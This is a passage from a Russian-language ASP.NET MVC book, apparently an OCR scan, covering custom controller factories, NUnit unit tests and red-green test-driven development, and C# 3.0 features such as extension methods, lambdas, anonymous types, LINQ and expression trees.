В рамках ASP.NET MVC это особенно удобно для построения "фабрики контроллеров”, которая может автоматически разрешать зависимости. Продолжая предыдущий пример, это значит, что зависимость AdminController от IMembersRepository будет разрешена автоматически, в соответствии с конкретной реализацией, сконфигурированной для IMembersRepository.
На заметку! Что такое “фабрика контроллеров”? В ASP.NET MVC это объект, который вызывается для создания экземпляров того, что нужно контроллеру для обслуживания входящего запроса. .NET MVC поддерживает встроенную фабрику по имени Def aultControllerFactofy, но ее можно заменить другой, по своему усмотрению. Для этого достаточно создать класс, реализующий IControllerFactofу или подкласс DefaultControllerFactofy.
Глава 3. Предварительные условия 77
В следующей главе Castle Windsor будет применяться для построения специальной фабрики контроллеров под названием WindsorControllerFactofy. Она позаботится об автоматическом разрешении всех зависимостей контроллера, когда это будет нужно для обслуживания запроса.
ASP.NET MVC предлагает простые средства для подключения специальной фабрики контроллеров; для этого понадобится лишь отредактировать обработчик Application Start в файле Global. asax. cs, как показано ниже:
protected void Application_Start()
{
RegisterRoutes(RouteTable.Routes);
ControllerBuilder.Current.SetControllerFactory (new WindsorControllerFactory()) ;
}
Пока достаточно знать, что это возможно. Полная реализация WindsorControllerFactory рассматривается в следующей главе.
Введение в автоматизированное тестирование
В последние годы автоматизированное тестирование переместилось из зоны периферийного внимания в основной поток, став первоочередной, совершенно необходимой методикой разработки. Платформа ASP.NET MVC спроектирована так, чтобы максимально облегчить создание и выполнение модульных и интеграционных тестов. При создании нового проекта веб-приложения ASP.NET MVC в среде Visual Studio предлагается помощь в создании проекта модульного тестирования на основе шаблонов для нескольких каркасов тестирования (в зависимости от того, какие из них установлены).
В мире .NET можно выбирать из широкого диапазона доступных каркасов модульного тестирования, как коммерческих, так и с открытым кодом. Наиболее широко известный из них — NUnit. Обычно в решении создается отдельный проект библиотеки классов, хранящий тестовые оснастки (если это еще не сделала автоматически среда Visual Studio). Тестовая оснастка (test fixture) представляет собой класс С#, определяющий набор тестовых методов — по одному тестовому методу на поведение, которое требуется проверить. Ниже приведен пример тестовой оснастки, написанной с применением NUnit, которая проверят поведение метода ChangeLoginName () класса AdminController из предыдущего примера:
[TestFixture]
public class AdminControllerTests
{
[Test]
public void Can_Change_JLogin_Name() {
// Подготовка (настройка сценария)
Member bob = new Member { LoginName = "Bob" };
FakeMembersRepository repos = new FakeMembersRepository(); repos.Members.Add(bob);
AdminController controller = new AdminController(repos);
// Действие (попытка выполнить операцию) controller.ChangeLoginName("Bob", "Anastasia");
// Утверждение (проверка результата)
Assert.AreEqual("Anastasia", bob.LoginName);
Assert.IsTrue(repos.DidSubmitChanges);
1
78 Часть I. Введение в ASP.NET MVC
private class FakeMembersRepository : IMembersRepository {
public List<Member> Members = new List<Member>();
public bool DidSubmitChanges = false;
public void AddMember(Member member) (
throw new NotlmplementedException(); }
public Member FetchByLoginName(string loginName) {
return Members.First(m => m.LoginName == loginName); }
public void SubmitChanges () {
DidSubmitChanges = true;
}
}
}
Совет. Код тестового метода Can_Change_Login_Name () следует шаблону, известному под названием подготовка/действие/утверждение (arrange/act/assert — А/А/А). Подготовка означает настройку тестовых условий, действие — вызов тестируемой операции, а утверждение — проверку результата. Соблюдение такой компоновки тестового кода облегчает его быстрое чтение, и вы наверняка оцените зто, когда придется иметь дело с сотнями тестов. Большинство тестов, приведенных в этой книге, соответствуют шаблону А/А/А.
Эта тестовая оснастка использует специфичную фиктивную реализацию IMemberRepository для эмуляции определенных условий (в репозитории имеется только один участник: Bob). Затем она вызывает тестируемый метод (ChangeLogName ()) и, наконец, проверяет результат теста, используя последовательности вызовов Assert (). Запускать тесты можно в одной из многочисленных бесплатно доступных графических сред для тестирования8, например, NUnit GUI (рис. 3.8).
Графическая среда NUnit находит в сборке все классы [TestFixture] и все их методы [Test], позволяя запускать их либо индивидуально, либо все последовательно. Если все вызовы Assert () проходят успешно, без генерации неожиданных исключений, полоса будет иметь зеленый цвет. В противном случае она будет красного цвета и выведется список утверждений, которые не прошли.
Рис. 3.8. Графический интерфейс NUnit с помощью полосы зеленого цвета показывает успешное прохождение тестов
8 При наличии сервера сборки (т.е. при использовании непрерывной интеграции) эти тесты можете запускать с помощью инструмента командной строки в составе процесса сборки.
Глава 3. Предварительные условия 79
Может показаться, что для проверки такого простого поведения требуется слишком много кода, но для проверки даже очень сложного поведения понадобится не намного больше кода. Как будет показано в последующих примерах, с использованием инструмента имитации можно писать намного более лаконичные тесты, полностью исключая фиктивные тестовые классы вроде FakeMemebersRepository.
Модульные и интеграционные тесты
Предыдущий тест является модульным (unit test), потому что тестирует один изолированный компонент — AdminController. Он не полагается на какую-либо реальную реализацию IMembersRepository, и не нуждается в доступе к какой-либо базе данных.
Но все будет выглядеть совсем не так, если AdminController не отсоединить от зависимостей. Если он будет непосредственно ссылаться на конкретный MemberRepository, который, в свою очередь, содержит код доступа к базе данных, то протестировать AdminController не удастся — придется одновременно тестировать репозиторий, код доступа к данным и даже саму базу данных SQL. Это не идеальный вариант по следующим причинам.
•	Медленное выполнение. При наличии сотен тестов придется терпеливо ждать, пока все они выполнят запросы к базе данных или веб-службам.
•	Риск получения ложных отрицательных результатов. Возможно, по каким-то причинам база данных была временно недоступна, но возникнет впечатление, что в коде присутствует нерегулярная ошибка.
•	Риск получения ложных положительных результатов. Два компонента могут случайно погасить ошибки друг друга. Бывает и такое!
Когда вы намеренно соединяете в цепочку набор компонентов и тестируете их вместе, это называется интеграционным тестом. Эти тесты также важны, поскольку доказывают правильность работы всего стека компонентов, включая отображения базы данных. Но по упомянутым выше причинам достичь лучших результатов можно, если использовать в большинстве ситуаций модульные тесты, а несколько интеграционных тестов — только для проверки общего взаимодействия.
Стиль разработки “красная полоса - зеленая полоса”
Итак, вы получили начальные сведения об автоматизированном тестировании. Но как узнать, действительно ли ваши тесты что-то доказывают? Что если вы нечаянно пропустили важный вызов Assert () или не подготовили должным образом эмулируемые условия, из-за чего тест дал ложный положительный результат? Подход к разработке “красная полоса — зеленая полоса” позволяет писать код, который неявно “тестирует сами тесты”. Ниже описана базовая последовательность действий.
1.	Вы принимаете решение о добавлении нового поведения в код. Еще до того, как приступить к реализации, напишете модульный тест для этого поведения.
2.	Удостоверьтесь, что тест не проходит (красная полоса).
3.	Реализуйте поведение.
4.	Удостоверьтесь, что тест проходит (зеленая полоса).
5.	Повторите действия 1-4.
Тот факт, что результат прогона теста изменяет цвет полосы с красного на зеленый, даже если сам тест не изменялся, доказывает, что он реагирует на добавленное в код новое поведение.
80 Часть I. Введение в ASP.NET MVC
Обратимся к примеру. Ранее в этой главе при рассмотрении примера с аукционом мы планировали создать в Item метод по имени AddBid (), но пока еще не реализовали его. Давайте предположим, что требуемое поведение описывается следующим образом: допускается добавлять заявки на предмет торгов, но каждая следующая заявка должна иметь более высокую цену, чем все предыдущие. Для начала добавим в класс Item заготовку метода:
public void AddBid(Member fromMember, decimal bidAmount)
{
throw new NotlmplementedException();
}
На заметку! Писать заготовки методов перед написанием кода тестов не обязательно. Можно просто написать модульный тест, который пытается вызвать AddBid (), даже несмотря на то, что такой метод пока не существует. Очевидно, что это приведет к ошибке компиляции. Воспринимайте это как “проваленный тест”. Эту слегка упрощенную форму TDD вы увидите в действии в следующей главе. Однако TDD с заготовками методов поначалу может показаться более удобным подходом (именно его придерживаются в реальных проектах, если подобного рода ошибки компиляции вызывают раздражение).
Может быть и очевидно, что этот код не удовлетворяет требованиям желаемого поведения. но это не помешает написать тест:
[TestFixture] public class AuctionltemTests {
[Test]
public void Can_Add_Bid() {
// Подготовить сценарий
Member member = new Member();
Item item = new Item();
// Попытаться выполнить операцию item.AddBid(member, 150);
// Проверить результат
Assert.AreEqual(1, item.Bids.Count());
Assert.AreEqual(150, item.Bids[0].BidAmount);
Assert.AreSame(member, item.Bids[0].Member); } }
Запустите этот тест. Конечно же, будет получена полоса красного цвета (сгенериру-ется исключение NotlmplementedException). Самое время создать первую черновую реализацию AddBid ():
public void AddBid(Member fromMember, decimal bidAmount) {
_bids.Add(new Bid {
Member = fromMember,
BidAmount = bidAmount,
DatePlaced = DateTime.Now, ItemID = this.ItemID }); }
Глава 3. Предварительные условия 81
Если вы теперь вновь запустите тест, то получите полосу зеленого цвета. Это доказывает возможность добавления заявок, но ничего не говорит о том, что цена новой заявки выше всех ранее поданных. Начните новый цикл “красная полоса — зеленая полоса”, добавив два новых теста:
[Test]
public void Can_Add_Higher_Bid()
{
// Подготовить сценарий
Member memberl = new Member();
Member member2 = new Member(); Item item = new Item() ;
// Попытаться выполнить операцию
item.AddBid(memberl, 150);
item.AddBid(member2, 200) ;
// Проверить результат
Assert.AreEqual(2, item.Bids.Count ());
Assert.AreEqual(150, item.Bids[0].BidAmount);
Assert.AreEqual(200, item.Bids[1].BidAmount);
Assert.AreSame(memberl, item.Bids[0].Member);
Assert.AreSame(member2, item.Bids[1].Member);
}
[Test]
public void Cannot_Add_Lower_Bid()
{
// Подготовить сценарий
Member memberl = new Member();
Member member2 = new Member(); Item item = new Item();
// Попытаться выполнить операцию
item.AddBid(memberl, 150) ;
try
{
item.AddBid(member2, 100);
Assert.Fail ("Should throw exception when invalid bid attempted") ;
// неверная заявка
}
catch (InvalidOperationException) { /* Ожидается */ }
// Проверить результат
Assert.AreEqual(1, item.Bids.Count());
Assert.AreEqual(150, item.Bids[0].BidAmount);
Assert.AreSame(memberl, item.Bids[0].Member);
}
Запустив все три теста вместе, вы увидите, что Can_Add_Bid и Can__Add_Higher_Bid пройдут успешно, a Cannot Adc_Lower Bids даст сбой, доказывая, что тест корректно обнаруживает несоблюдение правила о возрастающих ценах в заявках (рис. 3.9).
Разумеется, ведь пока еще нет никакого кода, который бы предотвращал добавление заявок с меныпей ценой. Обновите метод Item.AddBid () следующим образом:
82 Часть I. Введение в ASP.NET MVC
Рис. 3.9. Графический интерфейс NUnit показывает, что код не предотвращает добавление заявок с более низкой ценой
public void AddBid(Member fromMember, decimal bidAmount) {
if ((Bids.Count() >0) && (bidAmount <= Bids.Max(b => b.BidAmount))) throw new InvalidOperationException("Bid too low");
// цена заявки ниже предыдущих else
{
_bids.Add(new Bid (
Member = fromMember,
BidAmount = bidAmount,
DatePlaced = DateTime.Now, ItemID = this.ItemID });
}
}
Снова запустив тесты, вы увидите, что все три пройдут успешно! В этом и состоит суть разработки “красная полоса — зеленая полоса”. Тесты должны что-то доказывать, потому что их результат изменяется после реализации соответствующего поведения. Развивая данный пример, определите также поведения для ошибочных ситуаций (например, когда Member равен null или значение bidAmount является отрицательным), напишите для них тесты и затем реализуйте соответствующие поведения.
Стоит ли игра свеч
Написание тестов определенно означает увеличение объема кодирования, но зато гарантирует, что поведение кода теперь “заперто” навсегда — никто не сможет нарушить его незаметно, а вы можете выполнить его рефакторинг, после чего быстро удостовериться, что вся кодовая база по-прежнему работает правильно. Работать над моделью предметной области, контроллерами и служебными классами, попутно тестируя поведение, даже без необходимости запуска веб-браузера, очень удобно. К тому же, это быстрее, плюс можно протестировать граничные условия, которые было бы очень трудно эмулировать вручную через графический интерфейс приложения. Может показаться, что добавление итеративной разработки в стиле “красная полоса — зеленая полоса” прибавляет работы, но так ли это? Если все равно нужно писать тесты, почему бы ни написать их вначале?
Разработка в стиле “красная полоса — зеленая полоса" представляет собой основную идею, лежащую в основе разработки, управляемой тестами (test-driven development — TDD). Сторонники TDD используют цикл "красная полоса — зеленая полоса” для каждого изменения, проводимого в программном обеспечении, и когда все тесты успешно
Глава 3. Предварительные условия 83
проходят, выполняют рефакторинг кода для повышения его качества. В конечном итоге набор тестов должен полностью определять и документировать поведение всего приложения, хотя обычно допускается, что некоторые программные компоненты, в частности, представления и код клиентской стороны, при веб-разработке не всегда могут быть протестированы подобным образом.
Платформа ASP.NET MVC специально спроектирована для обеспечения максимальной тестируемости. Классы Controlle г не привязаны к исполняющей среде HTTP — они обращаются к Request, Response и прочим объектам контекста только через абстрактные интерфейсы, так что на время тестирования их всегда можно заменить фиктивными или имитированными версиями. Создание экземпляров контроллеров через контейнер 1оС позволяет их привязать к любому графу слабо связанных компонентов.
Новые языковые средства C# 3.0
В завершающих разделах этой главы вы узнаете о новых средствах, которые появились в C# вместе с выходом .NET 3.5 и Visual Studio 2008. Если вам уже известно все о LINQ, анонимных типах, лямбда-методах и т.п., то можете спокойно пропустить остаток материала и перейти к следующей главе. Эти знания понадобятся, чтобы по-настоящему понять, что происходит в приложении ASP.NET MVC. При изложении дальнейшего материала предполагается, что вы знаете C# 2.0, включая обобщения, итераторы (например, оператор yield return) и анонимные делегаты.
Проектная цель - язык интегрированных запросов
Почти все новые средства языка C# 3.0 объединяет нечто общее: все они предназначены для поддержки языка интегрированных запросов (Language Integrated Query — LINQ). Идея LINQ состоит в том, чтобы превратить запросы данных в естественное средство языка. В результате выбор, сортировка, фильтрация или трансформация наборов данных — будь то набор объектов .NET в памяти, набор узлов XML в дисковом файле или набор строк в базе данных SQL — осуществляется согласно стандартному, поддерживаемому IntelliSense синтаксису в коде C# (при этом еще и сокращается объем кодирования).
Рассмотрим очень простой пример на C# 2.0. Для нахождения трех самых больших целых чисел в массиве необходимо написать приблизительно такую функцию:
int[] GetTopThreeValues(int[] values)
{
Array.Sort(values);
int[] topThree = new int[3];
for (int i - 0; i < 3; i++)
topThree [i] = values [values. Length - i - 1]; return topThree;
}
Ту же задачу можно решить с использованием LINQ:
var topThree = (from i in values orderby i descending select i) .Take(3);
Обратите внимание, что код C# имеет неприятный побочный эффект — он нарушает исходный порядок сортировки массива, и нужно приложить дополнительные усилия, чтобы избежать этого. Коду LINQ упомянутая проблема не присуща.
Поначалу разобраться, как работает этот странный SQL-подобный синтаксис, нелегко. А ведь более сложные запросы LINQ могут еще и соединять, группировать и фильтровать гетерогенные источники данных. Давайте рассмотрим по очереди каждый из
84 Часть I. Введение в ASP.NET MVC
лежащих в его основе механизмов, и не только, чтобы помочь понять LINQ, но также потому, что эти механизмы являются полезными инструментами программирования сами по себе. Чтобы эффективно применять ASP.NET MVC, необходимо хорошо понимать их синтаксис.
Расширяющие методы
Приходилось ли вам сталкиваться с ситуацией, когда требуется добавить дополнительный метод в класс, разработанный не вами? Расширяющие методы позволяют “внедрять” методы в произвольный класс, даже если тот объявлен как sealed (т.е. герметизирован), не открывая доступа к приватным членам и не нарушая инкапсуляции никаким иным образом.
Например, стандартный класс string не имеет метода для преобразования строки в регистр “начинать с прописных” (т.е. первая буква каждого слова строки должна быть заглавной). Для решения этой задачи можно определить статический метод:
public static string ToTitleCase(string str)
{
if (str == null) return null;
else return Cultureinfo.CurrentUICulture.Textinfo.ToTitleCase(str);
}
Поместив этот статический метод в общедоступный статический класс, и указав ключевое слово this в списке параметров, можно создать расширяющий метод (т.е. статический метод, принимающий параметр this), как показано ниже:
public static class MyExtensions
{
public static string ToTitleCase(this string str)
{
if (str == null) return null;
else return Cultureinfo.CurrentUICulture.Textinfo.ToTitleCase(str); }
}
Компилятор C# позволяет вызывать этот метод, как если бы он принадлежал типу .NET, соответствующему параметру this. Например:
string place = "south west australia";
Console.WriteLine(place.ToTitleCase ()); // Печатает "South West Australia"
Конечно, все зто полностью поддерживается средством IntelHSense. Обратите внимание, что на самом деле новый метод в класс string не добавляется. Это просто синтаксическое удобство: компилятор C# в действительности преобразует код к нечто такое, что выглядит в точности, как первый нерасширяющий статический метод в предыдущем коде, так что зто никоим образом не нарушает защиты доступа к членам или правила инкапсуляции.
Ничто не мешает определить расширяющий метод на интерфейсе, что создает ранее невозможную иллюзию, что весь код автоматически разделяет все типы, реализующие интерфейс. В следующем примере для получения всех четных значений из IEnumerable<int> используется оператор C# 2.0 yield return:
Глава 3. Предварительные условия 85
public static class MyExtensions
{
public static IEnumerable<int> WhereEven(this IEnumerable<int> values) (
foreach (int i in values) if (i % 2 == 0) yield return i;
}
}
Теперь метод WhereEven () будет доступен в List<int>, Collection<int>, int [ ] и во всем, что реализует IEnumerable<int>.
Лямбда-методы
Если необходимо обобщить приведенную выше функцию WhereEven () в произвольную функцию Where<T> (), которая выполняет произвольную фильтрацию произвольного типа данных, можно использовать делегат, как показано ниже:
public static class MyExtensions
{
public delegate bool Criteria<T>(T value);
public static IEnumerable<T> Where<T>(this IEnumerable<T> values, Criteria<T> criteria) {
foreach (T item in values) if (criteria(item)) yield return item; }
}
После этого появляется возможность, например, использовать Where<T> для получения всех строк в массиве, которые начинаются с определенной буквы, передавая анонимный делегат C# 2.0 в качестве параметра criteria:
string[] names = new string[] { "Bill", "Jane", "Bob", "Frank" };
IEnumerable<string> Bs = names.Where<string>(
delegate(string s) ( return s.StartsWith("B"); } ) ;
Согласитесь, что это выглядит несколько неуклюже. Именно поэтому в C# 3.0 появились лямбда-методы (позаимствованные из языков функционального программирования), которые представляют собой упрощенный синтаксис записи анонимных делегатов. Предыдущий код теперь можно сократить следующим образом:
string[] names = new string[] { "Bill", "Jane", "Bob", "Frank" };
IEnumerable<string> Bs = names.Where<string>(s => s.StartsWith("B"));
Это выглядит намного аккуратнее, и даже читается почти как предложение на английском языке. В общем случае, лямбда-методы позволяют выразить делегат с любым количеством параметров; для этого применяется следующий синтаксис:
(a, b, с) => SomeFunctionOf (а, Ь, с)
При описании делегата, который принимает только один параметр, первую пару скобок можете опустить:
х => SomeFunctionOf(х)
86 Часть I. Введение в ASP.NET MVC
В лямбда-метод можете поместить более одной строки кода, завершив их оператором return:
х => {
var result = SomeFunctionOf(x); return result;
1
Помните, что это всего лишь средство компилятора. Лямбда-методы можно использовать при обращении к сборке .NET 2.0, которая ожидает делегатов.
Выведение обобщенного типа
На самом деле, предыдущий пример можно дополнительно упростить:
string[] names = new st:ring[] { "Bill", "Jane", "Bob", "Frank" };
IEnumerable<string> Bs = names.Where(s => s.StartsWith("B"));
Обратите внимание на отличия. На этот раз мы не специфицируем параметр обобщения для Where<T> (), а просто пишем Where (). Это еще один из трюков компилятора C# 3.0: он может самостоятельно вывести тип аргумента обобщенной функции из переданного ей типа возврата делегата (или лямбда-метода). (В компиляторе C# 2.0 уже присутствовали некоторые возможности выведения обобщенного типа, но ранее такого он делать не мог.)
Теперь у нас есть операция Where () совершенно общего назначения с аккуратным синтаксисом, что в значительной мере продвигает вперед к пониманию работы LINQ.
Автоматические свойства
На первый взгляд, автоматические свойства выглядят как странное отклонение от темы обсуждения, но это не так. Большинство программистов C# до сих пор порядочно утомляла задача написания свойств вроде показанных ниже:
private string _name;
public string Name
{
get { return _name; } set ( _name = value; } }
private int _age;
public int Age
{
get { return _age; } set { _age = value; ) }
// ... И Т.Д.
При таком объеме кода так мало толку. При этом возникает искушение открыть подобным образом все поля класса, которые должны быть общедоступными. Однако при таком подходе в будущем не удастся добавить логику средств установки и извлечения, не нарушив совместимости со сборками, которые уже поставлены заказчикам (и затрудняя привязку данных). К счастью, компилятор C# 3.0 теперь распознает новый синтаксис:
public string Name { get; set; }
public int Age { get; set; }
Глава 3. Предварительные условия 87
Это так называемые автоматические свойства. Во время компиляции компилятор C# 3.0 автоматически добавляет скрытое поле для каждого автоматического свойства (с именем, к которому никогда не будет обращения напрямую) и привязывает к нему очевидные средства установки и извлечения. Таким образом, кодировать все вручную не приходится. Однако обратите внимание, что опускать конструкции get; или set;, создавая поля, доступные только для чтения или только для записи, нельзя; вместо этого необходимо указывать модификаторы доступа. Например:
public string Name { get; private set; }
public int Age { internal get; set; }
Если в будущем потребуется добавить специальную логику установки и извлечения, автоматически свойства можно превратить в обычные, не нарушая совместимости. Правда, с этим средством связано одно ограничение: автоматическому свойству нельзя присваивать значение по умолчанию, как это делается с полем (например, private object myObject = new object ();), поэтому они должны инициализироваться (если это необходимо) в конструкторе.
Инициализаторы объектов и коллекций
Рассмотрим еще одну распространенную задачу программирования, которая также довольно утомительна: конструирование объектов с последующим присваиванием значений их свойствам. Например:
Person person = new Person();
person.Name = "Steve";
person.Age = 93;
Registerperson(person);
Эта простая задача потребовала для своей реализации четырех строк кода. В компиляторе C# 3.0 поддерживается новый синтаксис:
RegisterPerson (new Person { Name = "Steve", Age = 93 });
Он выглядит намного лучше. С помощью нотации с фигурными скобками после new можно присваивать значения доступным для записи свойствам нового объекта, что очень удобно, когда необходимо быстро создать новый экземпляр для передачи методу. Код в фигурных скобках называется инициализатором объекта, и при необходимости его можно помещать после обычного набора параметров конструктора. В случае если вызывается конструктор без параметров, нормальные скобки конструктора можно опустить.
Компилятор C# 3.0 также поддерживает аналогичный способ инициализации коллекций. Например, код
List<string> countries = new List<string>();
countries.Add("England");
countries.Add("Ireland");
countries.Add("Scotland");
countries.Add("Wales");
теперь можно сократить следующим образом:
List<string> countries = new List<string> { "England", "Ireland", "Scotland", "Wales" };
Компилятор позволяет использовать этот синтаксис при конструировании любого типа, предоставляющего метод по имени Add (). Предусмотрен также соответствующий синтаксис для инициализации словарей:
88 Часть I. Введение в ASP.NET MVC
Dictionary<int, string> zipCodes = new Dictionary<int,string> { { 90210, "Beverly Hills" }, { 73301, "Austin, TX" }
Выведение типа
В C# 3.0 также появилось новое ключевое слово var, посредством котором можно определять локальную переменную без указания явного типа — компилятор выведет его на основе присваиваемого значения. Ниже показан пример:
var now = new DateTime (2001, 1, 1) ;
int dayOfYear = now.DayOfYear;
string test = now. Substring (1, 3) ;
// Переменная получает тип DateTime
// Это допустимо
// Ошибка компиляции!
// Такой функции DateTime нет!
Это называется выведением типа (type Inference) или неявной типизацией. Обратите внимание, что вопреки ошибочному предположению, которое поначалу приходит в голову многим разработчикам, речь не идет о динамически типизированной переменной (в том смысле, как все переменные динамически типизированы в JavaScript, или в смысле понятия динамического вызова в C# 4.0). После компиляции такая переменная будет явно типизированной, как и раньше; единственное отличие состоит в том, что тип, который должна иметь переменная, определяется компилятором, а не явно указывается разработчиком. Неявно типизированные переменные могут использоваться только в контексте локального метода: применять var с членами класса или в качестве типа возврата нельзя.
Анонимные типы
Интересно, что за счет комбинирования инициализаторов объектов с выведением типа простые объекты для хранения данных можно конструировать, вообще не определяя соответствующего класса. Например:
var salesData = new { Day = new DateTime (2009, 01, 03) , DollarValue = 353000 } ;
Console.WriteLine("In {0}, we sold {l:c}", salesData.Day, salesData.DollarValue);
Здесь salesData — объект анонимного типа. И снова, зто не значит, что он типизирован динамически: на самом деле это некоторый реальный тип .NET, имя которого вы не можете узнать (или повлиять на него). Компилятор C# 3.0 генерирует невидимое определение класса прямо во время компиляции. Обратите внимание, что средство IntelliSense в Visual Studio полностью осведомлено о происходящем, и когда вы наберете salesData., оно предложит соответствующий список свойств, даже несмотря на то. что этот тип покамест не существует Действительно замечательное средство.
Для каждой комбинации имен свойств и типов, которые используются для построения объектов анонимных типов, компилятор генерирует разные определения классов. Таким образом, если два объекта анонимного типа имеют одинаковые имена и типы свойств, то во время выполнения они будут отнесены к одному и тому же типу .NET. Это означает, что объекты согласованных анонимных типов могут быть помещены в анонимный массив, например:
var dailySales = new[] {
new {	Day	=	new DateTime(2009,	01,	03),	DollarValue	=	353000	},
new {	Day	=	new DateTime(2009,	01,	04),	DollarValue	=	379250	},
new {	Day	=	new DateTime(2009,	01,	05),	DollarValue	=	388200	}
Глава 3. Предварительные условия 89
Чтобы такое стало возможным, все анонимно типизированные объекты в массиве должны иметь одну и ту же комбинацию имен и типов свойств. Обратите внимание, что переменная dailySales объявлена с помощью ключевого слова var, а не var [], List<var> или тому подобного. Поскольку var означает “все, что подходит”, оно является самодостаточным и обеспечивает полную безопасность типов как во время компиляции, так и во время выполнения.
Собираем все вместе
Если вы никогда ранее не сталкивались ни с одним из перечисленных средств, то, возможно, вы не вполне понимаете, как все это укладывается в концепцию LINQ. Давайте сведем все воедино.
Вы уже видели, как можно реализовать операцию Where () с помощью расширяющих методов и выведения обобщенного типа. Следующий шаг состоит в том, чтобы разобраться, каким образом явно типизированные переменные и анонимные типы поддерживают операцию проекции (т.е. эквивалент части SELECT запроса SQL). Идея, лежащая в основе проекции, заключается в том, что для каждого элемента в исходном наборе необходимо выполнить отображение на трансформированный элемент, который попадет в целевой набор. В терминах C# 2.0 для отображения каждого элемента нужно было бы применить обобщенный делегат как показано ниже:
public delegate TDest Transformation<TSrc, TDest>(TSrc item);
Однако в C# 3.0 можно использовать встроенный тип делегата Func<TSrc, TDest>, который полностью эквивалентен. Таким образом, получаем операцию проекции общего назначения:
public static class MyExtensions
{
public static IEnumerable<TDest> Select<T, TDest>(this IEnumerable<T> values,
Func<T, TDest> transformation) {
foreach (T item in values)
yield return transformation(item);
}
}
Теперь, учитывая, что и Select<T, TDest> (). и Where<T> () доступны для любого IEnumerable<T>, можно выполнять произвольную фильтрацию и отображение данных на анонимно типизованную коллекцию:
// Подготовить данные для примера
string[] nameData = new string[] { "Steve", "Jimmy", "Celine", "Arno" };
// Трансформировать в перечислимые анонимно типизированные объекты
var people = nameData.Where (str => str != "Jimmy") // Отфильтровать no Jimmy .Select(str => new {	// Проектировать на анонимный тип
Name = str,
LettersInName = str.Length, HasLongName = (str.Length > 5) });
// Извлечь данные из перечисления
foreach (var person in people)
Console.WriteLine("{0} has {1} letters in their name. {2}",
person.Name,
person.LettersInName,
person.HasLongName ? "That's long!" : ""
);
90 Часть I. Введение в ASP.NET MVC
В результате на консоль выводятся следующие строки:
Steve has 5 letters in their name.
Celine has 6 letters in their name. That's long!
Arno has 4 letters in their name.
Обратите внимание, что мы присваиваем результаты запроса неявно типизированной (var) переменной. Это потому, что реальным типом является перечисление из анонимно типизированных объектов, так что явно записать ее тип невозможно (хотя компилятор может это сделать во время компиляции).
Теперь вам должно быть ясно, что, имея Select () и Where (). можно построить основу языка объектных запросов общего назначения. Вне всяких сомнений, можно реализовать также и OrderBy (), Join (), GroupBy () и т.д. Но, конечно же, делать это не понадобится, потому что в вашем распоряжении есть язык LINQ to Objects — язык запросов общего назначения для находящихся в памяти коллекций объектов .NET, который построен в точности так, как было описано выше.
Отложенное выполнение
Прежде чем двигаться дальше, следует сделать одно финальное замечание. Поскольку весь код, использованный для построения этих операций запроса, использует блоки итератора C# 2.0 (те. оператор yield return), перечисления на самом деле не обрабатываются до тех пор, пока из них не будут выбираться элементы. То есть, когда вы создаете экземпляр переменной var people в предыдущем примере, это определяет природу и параметры запроса (напоминает замыкание9), но на самом деле не касается источника данных (nameData) до тех пор, пока последующий цикл foreach не начнет извлекать результаты один за другим. И даже тогда код итератора выполняется по одной итерации за раз, каждую запись трансформируется, только когда она будет специально запрошена.
Это нечто большее, чем просто теоретический момент. Знание того, что дорогостоящая операция не будет выполняться до самого последнего возможного момента, имеет огромное значение, особенно при составлении и комбинировании запросов к внешней базе данных SQL.
Использование LINQ to Objects
Итак, мы, наконец, добрались до этого момента. Ранее уже было показано, как работает LINQ to Objects. При желании, с использованием новых средств C# 3.0 его можно полностью переделать под собственные нужды, добавив, например, дополнительные операции запросов общего назначения.
Когда разработчики LINQ в Microsoft дошли до этого этапа, они провели некоторое тестирование удобства и решили, что работа завершена. Как и можно было ожидать, конечный результат первых пользователей не устроил. Посыпались нарекания на чересчур сложный синтаксис, и вопросы, почему он настолько не похож на язык SQL? Все зти скобки и точки вызывали у людей головную боль. Поэтому разработчики LINQ вернулись к работе и спроектировали более выразительный синтаксис для тех же запросов. Теперь предыдущий пример можно было выразить так:
var people = from str in nameData where str != "Jimmy"
9 В языках функционального программирования замыкание (closure) позволяет отложить выполнение блока кода, не теряя никаких переменных в его контексте. В зависимости от точного определения термина анонимные методы C# можно или нельзя трактовать как настоящие замыкания.
Глава 3. Предварительные условия 91
select new
{
Name = str,
LettersInName = str.Length, HasLongName = (str.Length > 5) };
Этот новый синтаксис называется выражением запроса (query expression). Он является альтернативной написанию цепочек расширяющих методов LINQ — до тех пор, пока запрос следует предопределенной структуре. Согласитесь, он очень напоминает SQL, за исключением того, что select находится в конце, а не в начале выражения (что имеет больше смысла, если хорошо подумать).
Хоть в данном примере это не особенно заметно, но выражения запросов существенно легче читать, чем цепочки расширяющих методов, особенно в случае длинных запросов с множеством конструкций и подконструкций. Выбор синтаксиса для применения — дело ваше; во время выполнения между ними нет никакой разницы, учитывая, что компилятор C# 3.0 все равно на раннем этапе компиляции преобразует выражения запросов в цепочки вызовов расширяющих методов. Некоторые запросы легче выразить цепочкой вызовов функций, а другие лучше выглядят в виде выражений запросов. Пробуйте постоянно переключаться между этими двумя синтаксисами.
На заметку! В синтаксисе выражений запросов ключевые слова (from, where, orderby, select и т.п.) являются жестко закодированными. Возможность добавления собственных ключевых слов отсутствует. Множество расширяющих методов LINQ доступно только через прямой их вызов; они не имеют соответствующего ключевого слова в синтаксисе выражений запросов. Разумеется, вызовы расширяющих методов можно использовать и внутри выражения запроса (например, from р in people .Distinct () orderby p.Name select p).
Лямбда-выражения
Последнее новое средство компилятора C# 3.0, не часто применяемое в код, открывает новые возможности для проектировщиков API-интерфейсов. Это основа как для LINQ for Everything, так и для ряда потрясающе выразительных API-интерфейсов ASP.NET MVC.
Лямбда-выражения выглядят похожими на лямбда-методы — их синтаксис идентичен, но во время компиляции они не преобразуются в анонимные делегаты. Вместо этого они встраиваются в сборку не в виде кода, а в виде данных, называемых абстрактным синтаксическим деревом (abstract syntax tree — AST). Ниже показан пример:
// Это обычный лямбда-метод, компилируемый в код .NET
Func<int, int, int> addl = (x, y) => x + y;
// Это лямбда-выражение, компилируемое в *данные* (AST) Expression<Func<int, int, int» add2 = (x, y) => x + y;
// Выражение можно скомпилировать *во время выполнения*, после чего запустить Console.WriteLine("1 + 2 = " + add2.Compile() (1, 2) ) ;
//Во время выполнения его можно просматривать как иерархию выражений
Console.WriteLine("Root node type: " + add2.Body.NodeType.ToString());
BinaryExpression rootNode = add2.Body as BinaryExpression;
Console.WriteLine("LHS: " + rootNode.Left.NodeType.ToString());
Console.WriteLine("RHS: " + rootNode.Right.NodeType.ToString()) ;
92 Часть I. Введение в ASP.NET MVC
Этот код даст следующий вывод:
1 + 2 = 3
